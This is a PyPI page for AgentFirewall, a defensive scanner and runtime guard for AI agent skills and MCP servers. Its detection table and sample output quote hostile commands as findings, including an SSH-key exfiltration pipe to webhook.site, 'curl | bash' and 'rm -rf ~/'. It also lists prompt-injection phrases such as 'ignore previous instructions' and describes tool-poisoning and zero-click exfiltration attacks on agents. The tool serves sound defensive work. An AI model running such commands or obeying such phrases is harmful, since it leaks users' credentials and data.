Skip to main content

A security firewall for AI agents, skills and MCP servers — scan before you install.

Project description

🛡️ AgentFirewall

A security firewall for AI agents, skills, and MCP servers. Scan before you install.

CI License: MIT Python 3.9+ Version

The AI ecosystem is exploding with shareable agents, skills, plugins, and MCP servers — and, just like npm packages or browser extensions, most of them come from people you don't know. A single markdown file or setup.sh can quietly read your ~/.ssh keys, dump your environment variables to a webhook, pipe a remote script into your shell, or hide instructions that tell your agent to leak secrets without telling you.

AgentFirewall protects both directions of that trust:

  • Inbound — it inspects an artifact before it touches your machine, exposes anything suspicious, and blocks installation when the risk is too high (and it can contain what does run, at the kernel level).
  • Outbound — it hardens the agents you deploy against abuse by their own users (excessive agency, broken authorization), both by scanning your code and by an embeddable runtime guardrail.

It works like a real firewall: layered defenses, default-deny where it counts, and a clear, auditable report of exactly why.

No cloud. No API keys. No telemetry. It runs 100% locally with zero required dependencies, so you can trust the thing that checks your trust.


What it catches

Category Examples
🔑 Secret & credential theft reading ~/.ssh, ~/.aws/credentials, .env, dumping the environment, targeting ANTHROPIC_API_KEY / GITHUB_TOKEN
🎫 Embedded credentials private keys, AWS AKIA…, GitHub ghp_…, OpenAI/Anthropic sk-…, Slack tokens shipped inside the artifact
📡 Data exfiltration uploads to pastebin/webhook.site/Discord webhooks, raw-IP egress, reverse shells, DNS-tunnel exfiltration
🧬 Obfuscation & dynamic exec curl … | bash, base64 -d | sh, eval/exec on runtime strings, hex-encoded payloads
🥫 Unsafe deserialization pickle.load, torch.load, unsafe yaml.load, bundled .pkl/.pt weight files (model poisoning)
💣 Destructive actions rm -rf ~/, mkfs, fork bombs, chmod 777, disabling firewalls/TLS, crypto-miners, cron/autostart persistence
🕵️ Anti-forensics clearing shell history, deleting /var/log, unset HISTFILE
🧠 Prompt injection "ignore previous instructions", "do not tell the user", "you are now in developer mode", instructions to exfiltrate secrets
🪝 Tool poisoning hidden directives inside MCP/tool descriptions, MCP env secrets, auto-approve flags
🧬 Memory / context poisoning writes to CLAUDE.md, .cursorrules, MCP config and other files other agents auto-load
👻 Hidden content zero-width characters, bidirectional-override tricks, invisible Unicode-Tag instructions, high-entropy packed blobs
🎛️ Permission overreach skills/agents granting themselves tools: "*", unrestricted Bash(*), silent install hooks
🎭 Typosquatting homoglyph/look-alike names, one-edit near-misses of popular packages
🔁 Rug pulls (stateful) a pinned artifact whose files, tools, permissions or tool descriptions silently change in a later update
📜 Weak provenance unsigned / unattested artifacts get a lower trust tier that tightens the policy applied to them
🚫 Known-bad IoCs artifact name, file hash, contacted domain or signer identity on a threat-intel feed
🎢 Excessive agency (deployed agents) a chatbot that runs arbitrary code / has no topic scope (the "McDonald's bot writes Python" case)
🎟️ Broken authorization (deployed agents) the expensive agent action runs before the quota/authz check (TOCTOU), or the limit is only enforced client-side (the Bolt.new refresh exploit)
🔌 Unauthenticated MCP a remote MCP server wired up with no auth / plaintext http:// (the 2026 MCP-CVE class)
🖼️ Auto-fetch exfiltration reference-style markdown/<img> that auto-loads an external URL carrying data (the EchoLeak zero-click channel)
📚 RAG poisoning untrusted content written into a shared vector store, or unvetted web docs indexed for retrieval
📦 Slopsquatting a dependency/import matching a suspect AI-hallucinated package name (opt-in feed)
🤝 Insecure inter-agent (A2A) an agent card advertising skills with no auth, or inter-agent signature verification disabled (impersonation / card shadowing)

Every detection is mapped to an industry framework — OWASP Top 10 for LLM Apps, OWASP Top 10 for Agentic Apps, MITRE ATLAS, MCP threat research and SLSA/supply-chain. Run afw rules to see each detection with its ID, severity, and framework coverage. See docs/THREAT-MODEL.md for the full mapping and docs/ROADMAP.md for where this is going.


Install

pip install AIAgentFirewall        # from PyPI (once published)
# or, from source:
git clone https://github.com/mmedabo/agentfirewall
cd agentfirewall && pip install -e .

Names: the PyPI package is AIAgentFirewall, the import module is agentfirewall, and the CLI is afw — e.g. pip install AIAgentFirewall then import agentfirewall or run afw scan ….

This installs the afw command (aliased as agentfirewall). You can also run it without installing: python -m agentfirewall ….


Quick start

Scan an agent skill you downloaded:

afw scan ./some-skill-you-found-online
AgentFirewall scan
  artifact : super-helper  (skill)
  files    : 2 scanned
  tools    : *
  findings : CRITICAL:4  HIGH:14  MEDIUM:1

 CRITICAL  Reads SSH private keys  [AFW-SEC-001]
          Accesses SSH private key material, a classic credential-theft target.
          → setup.sh:7
          cat ~/.ssh/id_rsa | curl -X POST --data @- https://webhook.site/collect
 ...
  ✗ VERDICT: BLOCK
  Installation should be blocked: high-risk behaviour detected.

Gate an install — the firewall only lets it through if it's clean:

afw install ./some-skill --to ~/.claude/skills
# ⛔ Installation BLOCKED by AgentFirewall — ./some-skill was NOT copied.

A safe skill installs normally; a dangerous one is refused (use --force to override at your own risk).

Monitor a directory and scan things as they land in it:

afw watch ~/Downloads/agents

Use it as a CI gate (exits non-zero when something is blocked):

afw verify ./my-published-skill --format sarif > results.sarif

Pin a trusted version, then catch rug pulls on every update:

afw pin ./some-skill                       # writes ./some-skill/afw.lock
# ... later, after the author ships an update ...
afw verify ./some-skill --baseline ./some-skill/afw.lock
# ✗ CRITICAL  Tool grant added since baseline   [AFW-DRIFT-010]
#   HIGH      Baselined file changed            [AFW-DRIFT-001]

A previously-clean tool whose permissions or description silently changed is, by itself, the alarm — even if the new code contains no known-bad signature. This is how AgentFirewall catches the attacks static scanning can't: rug pulls and insider updates (like the Postmark BCC incident) that ship clean and mutate later.

Trust tiers & threat intel — treat unknown sources with more suspicion:

Like a firewall's trust zones, AgentFirewall assigns each artifact a trust tier from the provenance it can find, and holds low-trust artifacts to a stricter bar:

UNTRUSTED  no signature / attestation / baseline   → block threshold tightens
DECLARED   signature or SBOM present (unverified)
PINNED     you hold a local afw.lock for it         → afw pin
VERIFIED   signature cryptographically verified      → --verify-signatures --identity <id>
afw scan ./skill                       # trust: Untrusted  (unsigned → stricter policy)
afw scan ./skill --intel ./my-iocs/    # also match names/hashes/domains/signers vs your feeds

Threat-intel feeds are offline by default (JSON or names.txt/domains.txt/ hashes.txt/signers.txt); drop your own into ~/.config/agentfirewall/intel/. A hit on a known-malicious name, file hash, domain or revoked signer is AFW-IOC-*.

Runtime firewall — watch it while it runs, not just before:

Static scanning can't stop a payload it didn't recognise. The runtime layer does — by controlling what the agent can actually reach and say at run time.

# Egress firewall: default-deny outbound; only github.com gets through.
afw run --allow "*.github.com" -- npx some-agent
#   BLOCK HTTP    evil.example:80
#   ALLOW HTTP    api.github.com:443

# MCP tool-call proxy: inspect/redact/block an MCP server's traffic in real time.
afw mcp-proxy -- npx some-mcp-server
#   [afw mcp BLOCK  ] client→server  AFW-SEC-001  Reads SSH private keys
#   [afw mcp REDACT ] server→client  AFW-TPZ-001  Tool description contains hidden directive

afw run routes the command's outbound HTTP(S) through a default-deny filtering proxy — anything off the allowlist gets a 403 and is logged (--fail-on-egress for CI). afw mcp-proxy mediates the JSON-RPC channel between an agent and an MCP server, catching tool poisoning in tools/list, secret egress in tools/call arguments, and injected instructions in tool results — forwarding, redacting, or blocking per --action.

Bypass-proof isolation — run untrusted install hooks with zero network:

afw run --isolate -- bash setup.sh
#   method  : unshare (root netns)
#   network : DENIED (kernel-enforced; no external connectivity)

--isolate runs the command in a kernel network namespace with no external interface, so it physically cannot reach anything — even via raw sockets. Add --allow for a bypass-proof allowlist — reach these hosts and nothing else, kernel-enforced:

afw run --isolate --allow "*.github.com" -- npx some-agent
#   ALLOW HTTP    api.github.com:443     ← brokered out
#   (a raw socket to anywhere else simply gets no network)

Three strengths, your pick: --allow (proxy allowlist, governs proxy-respecting clients) · --isolate (hard zero-network) · --isolate --allow (bypass-proof allowlist — a namespace with no route, egress brokered through a Unix-socket filtering proxy). All pure unshare + stdlib, no external dependencies; uses bubblewrap for extra fs/seccomp confinement when installed.

Prefer a browser? afw serve opens a local web UI — drag-drop a skill folder or .zip and read the verdict, trust tier and findings, no terminal required.

afw serve --open        # http://127.0.0.1:8000 (runs locally, nothing is uploaded)

Try it right now against the bundled examples:

afw scan examples/safe-skill        # ✓ ALLOW  (trust: Untrusted)
afw scan examples/signed-skill      # ✓ ALLOW  (trust: Declared — signature + SBOM)
afw scan examples/malicious-skill   # ✗ BLOCK  (a catalogue of bad behaviour + IoC hit)
afw scan examples/poisoned-mcp      # ✗ BLOCK  (MCP tool poisoning + env secrets)

Commands

Command What it does
afw scan <path>... Inspect artifacts and print a report. Exit code reflects the worst verdict.
afw verify <path>... CI gate. Exit 2 if any artifact is BLOCK (--fail-on-warn to also fail on warnings).
afw install <path> --to <dir> Pre-check, then copy into place only if it passes the firewall.
afw pin <path> Record a trusted baseline (afw.lock) for later rug-pull detection.
afw run --allow <host> -- <cmd> Run a command behind a default-deny egress firewall (block exfiltration).
afw mcp-proxy -- <server> Sit in front of an MCP server and inspect/redact/block tool calls & results live.
afw serve Launch the local web UI — drag-drop a folder/zip and read the report in a browser.
afw watch <dir> Poll a directory and scan new/modified artifacts as they appear.
afw rules List every detection with ID, severity, category, and framework coverage.

Common flags: --format text|json|sarif, --policy <file>, --strict, --fail-on <SEVERITY>, --ignore <RULE_ID>, --baseline <lock>, --intel <path>, --no-intel, --verify-signatures --identity <id>, --no-tighten-untrusted, --no-color, -v/--verbose.

Artifacts can be a directory, a single file, or a .zip archive.


Verdicts & severity

Each finding has a severity — INFO, LOW, MEDIUM, HIGH, CRITICAL — and the policy turns findings into one of three verdicts:

  • ALLOW ✓ — nothing worrying found.
  • WARN ! — review before installing.
  • BLOCK ✗ — high-risk behaviour; installation should be refused.

Exit codes: 0 allow/warn, 2 block, 1 on error — friendly for shell and CI.

Policy

The default policy blocks on HIGH and above. Tune it with --strict (blocks on MEDIUM+) or a policy file:

# policy.yaml
block_severity: HIGH
warn_severity: LOW
ignore:
  - AFW-PERM-002        # accept an expected "powerful tool" finding
warn_only_categories:
  - install-hook
afw scan ./skill --policy policy.yaml

Policy files are JSON or YAML (YAML works without any dependency for the simple schema above; pip install AIAgentFirewall[yaml] for full YAML).


Use it from Python

from agentfirewall import Scanner, Policy, Verdict

result = Scanner(policy=Policy.strict()).scan_path("./some-skill")

print(result.verdict)                       # Verdict.BLOCK
for f in result.findings:
    print(f.severity.label, f.rule_id, f.location(), f.message)

if result.verdict is Verdict.BLOCK:
    raise SystemExit("refusing to install")

How it works

 target ──▶ loaders ──▶ Artifact ──▶ rule engine ──▶ findings ──▶ policy ──▶ verdict
 (dir/file/zip)        (files +      (signature +               (severity     (allow/
                        manifest      structural rules)          threshold)    warn/block)
                        metadata)
  1. Loaders turn the target into an Artifact, recognising skills (SKILL.md), agents, MCP configs, and plugins, and extracting their declared tools/permissions.
  2. Rules inspect every text file. Most detections are regex signatures (easy to audit and extend); structural rules handle prompt injection, invisible Unicode, entropy analysis, and permission overreach.
  3. Policy maps findings to a verdict you can gate installation on.

Modelled on a real firewall's layered stack, AgentFirewall works in three tiers:

PRE-INSTALL (static)     scan code, manifests and model-facing text   → afw scan
INSTALL-TIME (stateful)  pin a baseline; re-verify every update        → afw pin / --baseline
TRUST ZONE (provenance)  signatures / SBOM / trust tiers / IoC feeds   → afw scan --intel
RUNTIME (dynamic)        egress firewall + tool-call proxy             → afw run / afw mcp-proxy

All four tiers ship today. The first three are static analysis + stateful diffing — they read artifacts, never execute them, so they're safe to point at untrusted content. The runtime tier watches execution: it never needs to trust the code because it controls what the running process can reach and say. Like any firewall it's defence in depth, not a single guarantee — review HIGH/CRITICAL findings yourself. See docs/THREAT-MODEL.md for the full firewall-mechanics mapping.


Extending it

Adding a detection is usually one line. Drop a signature into agentfirewall/rules/signatures.py:

compile_sig(
    "AFW-NET-007", "Contacts my-bad-host", Severity.HIGH,
    r"my-bad-host\.example",
    "Reaches a known-bad host.",
    "Remove this network call.",
)

For non-regex logic, subclass Rule in agentfirewall/rules/structural.py and add it to the registry in agentfirewall/rules/__init__.py. See CONTRIBUTING.md.


Harden the agents you deploy, not just the ones you install

Everything above protects your machine from a malicious artifact you install. The other direction matters too: an agent you ship can be abused by its own users. AgentFirewall scans your agent app for the two classes that keep showing up in the wild:

  • Excessive agency / no scoping — a food-ordering bot that will happily run arbitrary Python, or a system prompt that says "you can do anything." Flagged as AFW-AGENCY-* (OWASP LLM06 Excessive Agency).
  • Broken authorization — the expensive agent call runs before the quota/authz check (a TOCTOU that a page refresh replays — the real Bolt.new free-token exploit), or the limit is only enforced in the browser. Flagged as AFW-AUTHZ-* (CWE-367 TOCTOU, OWASP API Broken Function-Level Authorization, LLM10).
afw scan ./my-agent-app        # ✗ BLOCK: AFW-AUTHZ-001 model invoked before the credit check

Try it on the bundled example: afw scan examples/vulnerable-agent-app.

Then enforce the fix at run time with the embeddable agentfirewall.guardrails library — this is what actually stops both exploits, not just detects them:

from agentfirewall.guardrails import InputGuard, ScopePolicy, PreconditionGate, InMemoryQuota

guard = InputGuard(ScopePolicy.for_tools("search_menu", "place_order"))  # deny code exec / off-scope tools
gate  = PreconditionGate(InMemoryQuota(balances={"user-1": 5}))          # check-before-act + idempotency

def handle_chat(user_id, prompt, request_id):
    guard.check_input(prompt).raise_if_blocked()                 # scope confinement
    return gate.run(user_id, lambda: agent.run(prompt),          # quota reserved BEFORE the agent runs;
                    idempotency_key=request_id)                  # a refresh with the same id can't replay

PreconditionGate reserves quota atomically before the agent runs and returns the cached result on a replay (so the refresh exploit can't burn free tokens); InputGuard denies run_python/off-allowlist tool calls and prompt-injection. See examples/guarded-agent-app for the vulnerable example rewritten safely.

Use it in CI (GitHub Action)

Gate your own repo's skills/agents on every push with the reusable action:

# .github/workflows/agentfirewall.yml
name: AgentFirewall
on: [push, pull_request]
jobs:
  scan:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: mmedabo/agentfirewall@v1.0.0
        with:
          path: ./skills
          args: --strict          # optional: block on MEDIUM+ ; or --format sarif

The step fails the build if any artifact is BLOCK (command: scan reports without failing). See action.yml for all inputs.

Documentation

Doc What's in it
docs/USAGE.md Task-oriented cookbook for every command, incl. the web UI
docs/ARCHITECTURE.md Module map, data flow, and how to extend each layer
docs/THREAT-MODEL.md Threat model, firewall-mechanics mapping, rule→framework table
docs/ROADMAP.md Phases 0–5: what's shipped and what's planned
CONTRIBUTING.md · SECURITY.md Adding detections; reporting bypasses

Development

pip install -e ".[dev]"
pytest

License

MIT — free to download, install, use, and build on.


AgentFirewall is a defensive security tool. It helps you make informed trust decisions about third-party AI agents; it does not replace reading the code yourself for anything sensitive.

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

aiagentfirewall-1.3.1.tar.gz (102.6 kB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

aiagentfirewall-1.3.1-py3-none-any.whl (92.0 kB view details)

Uploaded Python 3

File details

Details for the file aiagentfirewall-1.3.1.tar.gz.

File metadata

  • Download URL: aiagentfirewall-1.3.1.tar.gz
  • Upload date:
  • Size: 102.6 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? Yes
  • Uploaded via: twine/7.0.0 CPython/3.13.14

File hashes

Hashes for aiagentfirewall-1.3.1.tar.gz
Algorithm Hash digest
SHA256 043796381073b80f3b146b172cd43dc01c4c3c7db9aa79b270af4947c7e181c4
MD5 2cab9b8e3c4834c0c28a9e4c440ddf9e
BLAKE2b-256 068340c28bd506effe95a6d9be73f50f85972b2cc3da3b9913e325cefae2224c

See more details on using hashes here.

Provenance

The following attestation bundles were made for aiagentfirewall-1.3.1.tar.gz:

Publisher: release.yml on mmedabo/AgentFirewall

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file aiagentfirewall-1.3.1-py3-none-any.whl.

File metadata

File hashes

Hashes for aiagentfirewall-1.3.1-py3-none-any.whl
Algorithm Hash digest
SHA256 b982c2cd7bbf4729a7708782d21eed560a48147991ab2259b787266a830c6a54
MD5 06716a794d0b903bab6339b47c002765
BLAKE2b-256 672cf1ffd839a130c4ff1ec59c375775ba7dd46b7203d8d809d9ed5dd1714763

See more details on using hashes here.

Provenance

The following attestation bundles were made for aiagentfirewall-1.3.1-py3-none-any.whl:

Publisher: release.yml on mmedabo/AgentFirewall

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page